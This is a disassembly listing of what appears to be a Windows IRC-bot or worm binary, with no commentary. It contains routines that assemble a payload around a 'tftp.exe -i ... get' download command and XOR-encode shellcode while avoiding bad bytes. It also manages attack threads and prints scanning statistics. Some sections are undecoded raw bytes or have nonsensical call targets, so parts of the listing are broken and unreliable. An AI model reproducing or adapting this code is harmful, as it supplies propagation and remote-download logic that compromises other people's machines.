push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] nop call near ptr 2690845h cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA14 xor edi, edi mov [ebp-8], eax cmp dword_4317F8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0E6h, 42h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h 